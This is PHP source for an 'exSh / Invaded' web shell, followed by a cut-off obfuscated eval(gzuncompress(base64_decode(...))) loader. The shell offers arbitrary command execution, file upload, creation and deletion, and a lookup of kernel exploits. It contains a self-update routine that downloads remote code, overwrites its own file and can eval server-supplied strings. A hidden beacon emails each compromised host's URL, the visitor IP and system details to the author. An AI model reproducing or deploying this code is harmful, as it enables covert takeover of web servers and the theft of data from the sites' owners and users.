"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
"ext_tar"=>
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
"u4tLAgEAOw==",
"ext_txt"=>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"ext_wri"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
"IQA7"
);
//Untuk optimalisasi ukuran dan kecepatan.
$imgequals = array(
  "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  "ext_html"=>array("ext_html","ext_htm"),
  "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  "ext_lnk"=>array("ext_lnk","ext_url"),
  "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  "ext_doc"=>array("ext_doc","ext_dot"),
  "ext_js"=>array("ext_js","ext_vbs"),
  "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  "ext_wri"=>array("ext_wri","ext_rtf"),
  "ext_swf"=>array("ext_swf","ext_fla"),
  "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall) {
  header("Content-type: image/gif");
  header("Cache-control: public");
  header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  header("Cache-control: max-age=".(60*60*24*7));
  header("Last-Modified: ".date("r",filemtime(__FILE__)));
  foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  if (empty($images[$img])) {$img = "small_unk";}
  if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  echo base64_decode($images[$img]);
}
else {
  foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  natsort($images);
  $k = array_keys($images);
  echo  "<center>";
  foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  echo "</center>";
}
exit;
}
if ($act == "about") {
  echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>eX [Invaded]</b><br>".
       "Beta-testing and some tips by <b>eX [CopyRight Invaded]</b><br>".
       "Re-Coding, tricks, html and css by <b>eX [Invaded]</b><br><br>".
       "Report bugs to <a href=\"mailto:[email protected]\">eX</a></b>";
}
echo "</td></tr></table>
";
/*** COMMANDS PANEL ***/
?>
<div  class=bartitle><b>.: COMMANDS PANEL :.</b></div>
<table class=mainpanel>
<tr><td align=right>Command:</td>
<td><form method="POST">
    <input type=hidden name=act value="cmd">
    <input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>">
    <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute">
    </form>
</td></tr>
<tr><td align=right>Quick Commands:</td>
<td><form method="POST">
    <input type=hidden name=act value="cmd">
    <input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type=hidden name="cmd_txt" value="1">
    <select name="cmd">
    <?php
    foreach ($cmdaliases as $als) {
      echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
    }
    foreach ($cmdaliases2 as $als) {
      echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
    }
    ?>
    </select> <input type=submit name=submit value="Execute">
    </form>
</td></tr>
<tr><td align=right>Upload:</td>
<td><form method="POST" enctype="multipart/form-data">
    <input type=hidden name=act value="upload">
    <input type=hidden name="miniform" value="1">
    <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?>
    </form>
</td></tr>
<tr><td align=right>PHP Filesystem:</td>
<td>
<?php ##[ eX TriCkz ]## ?>
<script language="javascript">
function set_arg(txt1,txt2) {
  document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
  document.forms.fphpfsys.arg1.value = txt1;
  document.forms.fphpfsys.arg2.value = txt2;
}
function chg_arg(num,txt1,txt2) {
  if (num==0) {
    document.forms.fphpfsys.arg1.type = "hidden";
    document.forms.fphpfsys.A1.type = "hidden";
  }
  if (num<=1) {
    document.forms.fphpfsys.arg2.type = "hidden";
    document.forms.fphpfsys.A2.type = "hidden";
  }
  if (num==2) {
    document.forms.fphpfsys.A1.type = "label";
    document.forms.fphpfsys.A2.type = "label";
    document.forms.fphpfsys.arg1.type = "text";
    document.forms.fphpfsys.arg2.type = "text";
  }
  document.forms.fphpfsys.A1.value = txt1 + ":";
  document.forms.fphpfsys.A2.value = txt2 + ":";
}
</script>
<?php
  echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">
".
       "<select name=\"phpfsysfunc\">
";
  foreach ($phpfsaliases as $als) {
    if ($als[1]==$phpfsysfunc) {
      echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg(\'$als[2]\',\'$als[3]\',\'$als[4]\')\">".$als[0]."</option>
";
    }
    else {
      echo "<option value=\"".$als[1]."\" onclick=\"chg_arg(\'$als[2]\',\'$als[3]\',\'$als[4]\')\">".$als[0]."</option>
";
    }
  }
  echo "</select>
".
       "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">
".
       "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">
".
       "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>
";
  foreach ($sh_sourcez as $e => $o) {
    echo "<input type=button value=\"$e\" onclick=\"set_arg(\'$o[0]\',\'$o[1]\')\">
";
  }
  echo "</form>
";
?>
</td></tr>
<tr><td align=right>Search File:</td>
<td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
    </form>
    </td></tr>
<tr><td align=right>Create File:</td>
<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
    <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?>
    </form></td></tr>
<tr><td align=right>View File:</td>
<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
    <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View">
    </form></td></tr>
</table>
<?php footer(); ?>
</body></html>
<?php

###########################
## exSh CORE FUNCTIONS ##
###########################
function safemode() {
  if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
  else { return FALSE; }
}
function getdisfunc() {
  $disfunc = @ini_get("disable_functions");
  if (!empty($disfunc)) {
    $disfunc = str_replace(" ","",$disfunc);
    $disfunc = explode(",",$disfunc);
  }
  else { $disfunc= array(); }
  return $disfunc;
}
function enabled($func) {
 if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
 else { return FALSE; }
}
function exexec($cmd) {
  $output = "";
  if ( enabled("popen") ) {
    $h = popen($cmd.\' 2>&1\', \'r\');
    if ( is_resource($h) ) {
      while ( !feof($h) ) { $output .= fread($h, 2096);  }
      pclose($h);
    }
  }
  elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("
",$o); }
  elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
  return $output;
}
function exexec2($cmd) {
  $output = "";
  if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("
",$o); }
  elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
  elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  elseif ( enabled("popen") ) {
    $h = popen($cmd.\' 2>&1\', \'r\');
    if ( is_resource($h) ) {
      while ( !feof($h) ) { $output .= fread($h, 2096);  }
      pclose($h);
    }
  }
  return $output;
}
function which($pr) {
  $path = exexec("which $pr");
  if(!empty($path)) { return $path; } else { return $pr; }
}

function get_status() {
  function showstat($sup,$stat) {
    if ($stat=="on") { return "$sup: <font color=#00FF00><b>ON</b></font>"; }
    else { return "$sup: <font color=#FF9900><b>OFF</b></font>"; }
  }
  $arrfunc = array(
    array("MySQL","mysql_connect"),
    array("MSSQL","mssql_connect"),
    array("Oracle","ocilogon"),
    array("PostgreSQL","pg_connect"),
    array("Curl","curl_version"),
  );
  $arrcmd = array(
    array("Fetch","fetch --help"),
    array("Wget","wget --help"),
    array("Perl","perl -v"),
  );

  $statinfo = array();
  foreach ($arrfunc as $func) {
    if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
    else { $statinfo[] = showstat($func[0],"off"); }
  }
  $statinfo[] = (@extension_loaded(\'sockets\'))?showstat("Sockets","on"):showstat("Sockets","off");
  foreach ($arrcmd as $cmd) {
    if (exexec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
    else { $statinfo[] = showstat($cmd[0],"off"); }
  }
  return implode(" ",$statinfo);
}
function showdisfunc() {
  if ($disablefunc = @ini_get("disable_functions")) {
    return "<font color=#FF9900><b>".$disablefunc."</b></font>";
  }
  else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
}
function disp_drives($curdir,$surl) {
  $letters = "";
  $v = explode("\",$curdir);
  $v = $v[0];
  foreach (range("A","Z") as $letter) {
    $bool = $isdiskette = $letter == "A";
    if (!$bool) { $bool = is_dir($letter.":\"); }
    if ($bool) {
      $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\")."\"".
                  ($isdiskette?" onclick=\"return confirm(\'Make sure that the diskette is inserted properly!\')\"":"")."> ";
      if ($letter.":" != $v) { $letters .= $letter; }
      else { $letters .= "<font color=yellow>".$letter."</font>"; }
      $letters .= "</a> ";
    }
  }
  if (!empty($letters)) { Return $letters; }
  else  {Return "None"; }
}
function disp_freespace($curdrv) {
  $free = @disk_free_space($curdrv);
  $total = @disk_total_space($curdrv);
  if ($free === FALSE) { $free = 0; }
  if ($total === FALSE) { $total = 0; }
  if ($free < 0) { $free = 0; }
  if ($total < 0) { $total = 0; }
  $used = $total-$free;
  $free_percent = round(100/($total/$free),2)."%";
  $free = view_size($free);
  $total = view_size($total);
  return "$free of $total ($free_percent)";
}
## exSh UPDATE FUNCTIONS ##
function exgetsource($fn) {
  global $exsh_sourcesurl;
  $array = array(
    "exsh.php" => "exsh.txt",
  );
  $name = $array[$fn];
  if ($name) {return file_get_contents($exsh_sourcesurl.$name);}
  else {return FALSE;}
}
function exsh_getupdate($update = TRUE) {
  $url = $GLOBALS["exsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
  $data = @file_get_contents($url);
  if (!$data) { return "Can\'t connect to update-server!"; }
  else {
    $data = ltrim($data);
    $string = substr($data,3,ord($data{2}));
    if ($data{0} == "" and $data{1} == "") {return "Error: ".$string; return FALSE;}
    if ($data{0} == "" and $data{1} == "") {return "You are using latest version!";}
    if ($data{0} == "" and $data{1} == "") {
      $string = explode("|",$string);
      if ($update) {
        $confvars = array();
        $sourceurl = $string[0];
        $source = file_get_contents($sourceurl);
        if (!$source) {return "Can\'t fetch update!";}
        else {
          $fp = fopen(__FILE__,"w");
          if (!$fp) {return "Local error: can\'t write update to ".__FILE__."! You may download exshell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
          else {
            fwrite($fp,$source);
            fclose($fp);
            return "Update completed!";
          }
        }
      }
      else {return "New version are available: ".$string[1];}
    }
    elseif ($data{0} == "" and $data{1} == "") {
      eval($string);
      return 1;
    }
    else {return "Error in protocol: segmentation failed! (".$data.") ";}
  }
}
function ex_buff_prepare() {
  global $sess_data;
  global $act;
  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
  $sess_data["copy"] = array_unique($sess_data["copy"]);
  $sess_data["cut"] = array_unique($sess_data["cut"]);
  sort($sess_data["copy"]);
  sort($sess_data["cut"]);
  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
function ex_sess_put($data) {
  global $sess_cookie;
  global $sess_data;
  ex_buff_prepare();
  $sess_data = $data;
  $data = serialize($data);
  setcookie($sess_cookie,$data);
}
## END exSh UPDATE FUNCTIONS ##
## FILESYSTEM FUNCTIONS ##
function fs_copy_dir($d,$t) {
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  $h = opendir($d);
  while (($o = readdir($h)) !== FALSE) {
    if (($o != ".") and ($o != "..")) {
      if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
      else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
      if (!$ret) {return $ret;}
    }
  }
  closedir($h);
  return TRUE;
}
function fs_copy_obj($d,$t) {
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
  $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  if (is_dir($d)) {
    if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
    if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
    return fs_copy_dir($d,$t);
  }
  elseif (is_file($d)) { return copy($d,$t); }
  else { return FALSE; }
}
function fs_move_dir($d,$t) {
  $h = opendir($d);
  if (!is_dir($t)) {mkdir($t);}
  while (($o = readdir($h)) !== FALSE) {
    if (($o != ".") and ($o != "..")) {
      $ret = TRUE;
      if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
      else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
      if (!$ret) {return $ret;}
     }
   }
  closedir($h);
  return TRUE;
}
function fs_move_obj($d,$t) {
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
  $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
  if (is_dir($d)) {
    if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
    if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
    return fs_move_dir($d,$t);
  }
  elseif (is_file($d)) {
    if(copy($d,$t)) {return unlink($d);}
    else {unlink($t); return FALSE;}
  }
  else {return FALSE;}
}
function fs_rmdir($d) {
  $h = opendir($d);
  while (($o = readdir($h)) !== FALSE) {
    if (($o != ".") and ($o != "..")) {
      if (!is_dir($d.$o)) {unlink($d.$o);}
      else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
    }
  }
  closedir($h);
  rmdir($d);
  return !is_dir($d);
}
function fs_rmobj($o) {
  $o = str_replace("\",DIRECTORY_SEPARATOR,$o);
  if (is_dir($o)) {
    if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
    return fs_rmdir($o);
  }
  elseif (is_file($o)) {return unlink($o);}
  else {return FALSE;}
}
## END FILESYSTEM FUNCTIONS ##
function onphpshutdown() {
  global $gzipencode,$ft;
  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
    $v = @ob_get_contents();
    @ob_end_clean();
    @ob_start("ob_gzHandler");
    echo $v;
    @ob_end_flush();
  }
}
function exshexit() { onphpshutdown(); exit; }

function exfsearch($d) {
  global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a;
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  $h = opendir($d);
  while (($f = readdir($h)) !== FALSE) {
    if($f != "." && $f != "..") {
      $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
      if (is_dir($d.$f)) {
        $search_i_d++;
        if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
        if (!is_link($d.$f)) {exfsearch($d.$f);}
      }
      else {
        $search_i_f++;
        if ($bool) {
          if (!empty($a["text"])) {
            $r = @file_get_contents($d.$f);
            if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
            if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
            if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
            else {$bool = strpos(" ".$r,$a["text"],1);}
            if ($a["text_not"]) {$bool = !$bool;}
            if ($bool) {$found[] = $d.$f; $found_f++;}
          }
          else {$found[] = $d.$f; $found_f++;}
        }
      }
    }
  }
  closedir($h);
}
function view_size($size) {
  if (!is_numeric($size)) { return FALSE; }
  else {
    if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
    elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
    elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
    else {$size = $size . " B";}
    return $size;
  }
}
function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
function view_perms($mode) {
  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  else {$type = "?";}
  $owner["read"] = ($mode & 00400)?"r":"-";
  $owner["write"] = ($mode & 00200)?"w":"-";
  $owner["execute"] = ($mode & 00100)?"x":"-";
  $group["read"] = ($mode & 00040)?"r":"-";
  $group["write"] = ($mode & 00020)?"w":"-";
  $group["execute"] = ($mode & 00010)?"x":"-";
  $world["read"] = ($mode & 00004)?"r":"-";
  $world["write"] = ($mode & 00002)? "w":"-";
  $world["execute"] = ($mode & 00001)?"x":"-";
  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  return $type.join("",$owner).join("",$group).join("",$world);
}
function parse_perms($mode) {
  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  else {$t = "?";}
  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
function parsesort($sort) {
  $one = intval($sort);
  $second = substr($sort,-1);
  if ($second != "d") {$second = "a";}
  return array($one,$second);
}
function view_perms_color($o) {
  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
$visitcount = $HTTP_COOKIE_VARS["visits"];
if( $visitcount == "") {
$visitcount = 0;
$visitor = $_SERVER["REMOTE_ADDR"];
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$target = rawurldecode($web.$inj);
$uname = php_uname();
$id = get_current_user();
$body = " [+]Shell: $target 
 [+]Injector: $visitor 
 [+]uname -a: $uname 
 [+]User: $id";
@mail("[email protected]","[x] http://$target by $visitor", "$body");
}
else
{ $visitcount; }
setcookie("visits",$visitcount);
function str2mini($content,$len) {
  if (strlen($content) > $len) {
    $len = ceil($len/2) - 2;
    return substr($content, 0,$len)."...".substr($content,-$len);
  } else {return $content;}
}
function strips(&$arr,$k="") {
  if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } }
  else { $arr = stripslashes($arr); }
}

function getmicrotime() {
  list($usec, $sec) = explode(" ", microtime());
  return ((float)$usec + (float)$sec);
}

function milw0rm() {
  $Lversion = php_uname(r);
  $OSV = php_uname(s);
  if(eregi("Linux",$OSV)) {
    $Lversion = substr($Lversion,0,6);
    return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
  } else {
    $Lversion = substr($Lversion,0,3);
    return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
  }
}
function tools() {
  echo "List of tools";
}
function sh_name() { return ("Invaded").sh_ver; }
function htmlhead($safemode) {
$style = \'
<style type="text/css">
body,table {font:8pt verdana;background-color:black;}
table {width:100%;}
table,td,#maininfo td {padding:3px;}
table,td,input,select,option {border:1px solid #808080;}
body,table,input,select,option {color:#FFFFFF;}
a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;}
textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;}
#pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;}
#pagebar td {vertical-align:top;}
#pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;}
#pagebar a {font-weight:bold;color:#00FF00;}
#pagebar a:visited {color:#00CE00;}
#mainmenu {text-align:center;}
#mainmenu a {text-align: center;padding: 0px 5px 0px 5px;}
#maininfo,.barheader,.bartitle {text-align:center;}
.fleft {float:left;text-align:left;}
.fright {float:right;text-align:right;}
.bartitle {padding:5px;border:2px solid #1F1F1F;}
.barheader {font-weight:bold;padding:5px;}
.info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;}
.info th {color:#00FF00;text-align:left;width:13%;}
.contents,.explorer {border-collapse:collapse;}
.contents,.explorer td,th {vertical-align:top;}
.mainpanel {border-collapse:collapse;padding:5px;}
.barheader,.mainpanel table,td {border:1px solid #333333;}
input[type="submit"],input[type="button"] {border:1px solid #000000;}
input[type="text"] {padding:3px;}
.shell {background-color:#000000;color:#00FF00;padding:5px;font-size:12;}
.fxerrmsg {color:red; font-weight:bold;}
#pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;}
#pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#4A4A4A;}
.bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;}
textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;}
input[type="label"] { text-align:right;}
.info,.info td,input[type="label"] {border:0;background:none;}
</style>
\';
$html_start = \'
<html><head>
<title>\'.getenv("HTTP_HOST").\' - \'.sh_name().\'</title>
\'.$style.\'
</head>
<body>
<div class=bartitle><h4>\'.sh_name().\'</h4>.: No System is Perfectly Safe :.</div>
\';
return $html_start;
};
function footer() {
  echo "<div class=bartitle colspan=2><font size=1 color=#00FF00> By eX,   2009 Invaded, Generated: ".round(getmicrotime()-starttime,4)." seconds</font></div>";
}
chdir($lastdir); exshexit(); 
?>'

Did this file decode correctly?

Original Code

<?php /* shaje3 <<YeMeNi HaCkeR>>  www.shaja.net*/
eval("?>".gzuncompress(base64_decode("eJzsvXtbG0eyOPz/eZ7zHZqJYkuxEALbuYAhwYBjToxhAa83P+BVRpqRNEHSKDMjLsn6u79V1feeHkmQZE/2POvd2Jq+VFdXd1dXV1dVv/p2Opz+9399ttwfLMjif7DDyU0YJVHKNtrtb1jpDxaM4n4yietP82HnJs6eNgPWvWer23v/s70aNLZkKQAHf/bS6f1pMhgWjCUIOY5K4HhBlmS9VpbmcTecREnxa6uXjr0Fe8Nwwj6L78q4GQWX7HINujAJxzHbZuJXnXfg0RA/Q5DjMJnMspEEsM2CYVFMN9fWbm9vWz/H4971BEnSmo5mOfZzLdjiuDyuYnwHVWfTKCxiqrzNDFitwMhuwYzQVfJ0lvXiHOt4qrSKu0LixUv+CsXCLAvv6//9Xyw47Serr9MiQDx3RLoFJM/jPO+0N7758vn6V71wo7ve/uZFu/9lb3299/Kbr9svuy+iKA4aTYDGgqMwz9lRmIzirBrkKOnex3fUC1EtvjsbVpdX/RClp/n96/d71eUhv1WEWWvwK9VobOHIX7DdD+dvD96fH+7tnh8ev2dXNHXCWTE0CcKCUTpIJgEfuR0WBKJN6FjA3NRx9FJmGKnDNC/C0Si9DTSCwRcS+yieJHEUSEivQjbM4v72ZWD04TLYCVpyWreCV2vhziYLezDMOeP1VwKjZwfv9/29682yKMlwBrb4JCvGU5FgfHagy7lRCD47MWCCEyrIwyj9ZRYX0Xf34TBNcb62ulmwxT47oCJQeBLi/MJp0kvT6wTXIY0ZfvG5l2ZFB/hNOBsVmNkOsf5JPBnMslkRTpqszVbZJB2nGbtOR9ACC8Ig78XA